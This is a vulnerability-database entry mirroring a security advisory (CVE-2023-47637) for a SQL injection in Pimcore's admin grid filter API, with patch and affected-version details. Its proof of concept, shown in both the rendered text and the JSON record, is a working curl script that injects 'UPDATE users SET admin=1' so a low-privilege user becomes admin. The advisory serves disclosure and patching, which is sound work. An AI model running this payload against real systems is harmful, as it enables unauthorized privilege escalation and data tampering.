GHSA-72HH-XF79-429P

Vulnerability from github – Published: 2023-11-15 14:53 – Updated: 2023-11-15 23:23
VLAI
Summary
Pimcore SQL Injection in Admin Grid Filter API through Multiselect::getFilterConditionExt()
Details

Summary

User input passed directly into an SQL statement allows (non-admin) backend users to execute arbitrary SQL statements.

Details

The /admin/object/grid-proxy endpoint calls getFilterCondition() on fields of classes to be filtered for at https://github.com/pimcore/admin-ui-classic-bundle/blob/bba7c7419cb1f06d5fd98781eab4d6995e4e5dca/src/Helper/GridHelperService.php#L311, passing input from the request, and later executes the returned SQL. One implementation of getFilterCondition() is in Multiselect, which does not normalize/escape/validate the passed value: https://github.com/pimcore/pimcore/blob/42b6cfa77c4540205bdd10689893ccb73e4bac8f/models/DataObject/ClassDefinition/Data/Multiselect.php#L285-L312

PoC

  • Set up an example project as described on https://pimcore.com/docs/platform/Pimcore/Getting_Started/Installation/Docker_Based_Installation (demo package with example content)
  • Enter the backend and add a new user without admin privileges, but the "Objects" permission enabled.
  • Log out and back in with the new user. Grab the X-pimcore-csrf-token header from any request the backend does, as well as the PHPSESSID cookie.
  • Run the following script, substituting the values accordingly: ```bash #!/bin/bash BASE_URL=http://localhost:8084 # REPLACE THIS! CSRF_TOKEN="bd89fd7ceb3b541dd63c200fd4fc8c8ea3cc1a05" # REPLACE THIS! COOKIE="PHPSESSID=a0f408f9af7657430a4e6a1608c80277" # REPLACE THIS! SQL="UPDATE users SET admin=1"

    FILTER_JSON="[{\"property\":\"tags\",\"operator\":\"=\",\"type\":\"list\",\"value\":[\"')); ${SQL}; --\"]}]"

    curl "${BASE_URL}/admin/object/grid-proxy?classId=EV&folderId=1119" \ -X POST \ -H "X-pimcore-csrf-token: ${CSRF_TOKEN}" \ -H "Cookie: ${COOKIE}" \ --data "filter=$FILTER_JSON" ``` * Refresh the backend, the user is admin now.

Notes The above process also works with the initial admin user, but for demonstration purposes it is more interesting to use an unpriveleged one. Other important variables to adjust in the above script for other deployments are the classId=EV&folderId=1119 parameters, which must reference an existing class and folder, as well as "property":"tags", which points to a Multiselect field in this class.

Impact

Any backend user with very basic permissions can execute arbitrary SQL statements and thus alter any data or escalate their privileges to at least admin level.

Patches

Apply patch manually.

Workarounds

Update to version 11.1.1 or apply this patch manually.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "pimcore/pimcore"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "11.1.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-47637"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-11-15T14:53:24Z",
    "nvd_published_at": "2023-11-15T20:15:08Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nUser input passed directly into an SQL statement allows (non-admin) backend users to execute arbitrary SQL statements.\n\n### Details\n\nThe `/admin/object/grid-proxy` endpoint calls `getFilterCondition()` on fields of classes to be filtered for at https://github.com/pimcore/admin-ui-classic-bundle/blob/bba7c7419cb1f06d5fd98781eab4d6995e4e5dca/src/Helper/GridHelperService.php#L311, passing input from the request, and later executes the returned SQL.\nOne implementation of `getFilterCondition()` is in `Multiselect`, which does not normalize/escape/validate the passed value: https://github.com/pimcore/pimcore/blob/42b6cfa77c4540205bdd10689893ccb73e4bac8f/models/DataObject/ClassDefinition/Data/Multiselect.php#L285-L312\n\n### PoC\n\n* Set up an example project as described on https://pimcore.com/docs/platform/Pimcore/Getting_Started/Installation/Docker_Based_Installation (demo package with example content)\n* Enter the backend and add a new user without admin privileges, but the \"Objects\" permission enabled.\n* Log out and back in with the new user. Grab the `X-pimcore-csrf-token` header from any request the backend does, as well as the `PHPSESSID` cookie.\n* Run the following script, substituting the values accordingly:\n    ```bash\n    #!/bin/bash\n    BASE_URL=http://localhost:8084 # REPLACE THIS!\n    CSRF_TOKEN=\"bd89fd7ceb3b541dd63c200fd4fc8c8ea3cc1a05\" # REPLACE THIS!\n    COOKIE=\"PHPSESSID=a0f408f9af7657430a4e6a1608c80277\" # REPLACE THIS!\n    SQL=\"UPDATE users SET admin=1\"\n    \n    FILTER_JSON=\"[{\\\"property\\\":\\\"tags\\\",\\\"operator\\\":\\\"=\\\",\\\"type\\\":\\\"list\\\",\\\"value\\\":[\\\"\u0027)); ${SQL}; --\\\"]}]\"\n    \n    curl \"${BASE_URL}/admin/object/grid-proxy?classId=EV\u0026folderId=1119\" \\\n\t    -X POST \\\n\t    -H \"X-pimcore-csrf-token: ${CSRF_TOKEN}\" \\\n\t    -H \"Cookie: ${COOKIE}\" \\\n\t    --data \"filter=$FILTER_JSON\"\n    ```\n* Refresh the backend, the user is admin now.\n\n**Notes**\nThe above process also works with the initial admin user, but for demonstration purposes it is more interesting to use an unpriveleged one.\nOther important variables to adjust in the above script for other deployments are the `classId=EV\u0026folderId=1119` parameters, which must reference an existing class and folder, as well as `\"property\":\"tags\"`, which points to a Multiselect field in this class.\n\n### Impact\n\nAny backend user with very basic permissions can execute arbitrary SQL statements and thus alter any data or escalate their privileges to at least admin level.\n\n### Patches\nApply [patch](https://github.com/pimcore/pimcore/commit/d164d99c90f098d0ccd6b72929c48b727e2953a0.patch) manually.\n\n\n### Workarounds\nUpdate to version 11.1.1 or apply this [patch](https://github.com/pimcore/pimcore/commit/d164d99c90f098d0ccd6b72929c48b727e2953a0.patch) manually.",
  "id": "GHSA-72hh-xf79-429p",
  "modified": "2023-11-15T23:23:25Z",
  "published": "2023-11-15T14:53:24Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pimcore/pimcore/security/advisories/GHSA-72hh-xf79-429p"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-47637"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pimcore/pimcore/commit/d164d99c90f098d0ccd6b72929c48b727e2953a0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pimcore/admin-ui-classic-bundle/blob/bba7c7419cb1f06d5fd98781eab4d6995e4e5dca/src/Helper/GridHelperService.php#L311"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pimcore/pimcore"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pimcore/pimcore/blob/42b6cfa77c4540205bdd10689893ccb73e4bac8f/models/DataObject/ClassDefinition/Data/Multiselect.php#L285-L312"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Pimcore SQL Injection in Admin Grid Filter API through Multiselect::getFilterConditionExt()"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

JSON
How durations are calculated

Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.

Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.

Events included in the timeline

Loading timeline…


    Loading…

    Loading…

    Loading…

    Related by attack behaviour

    Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.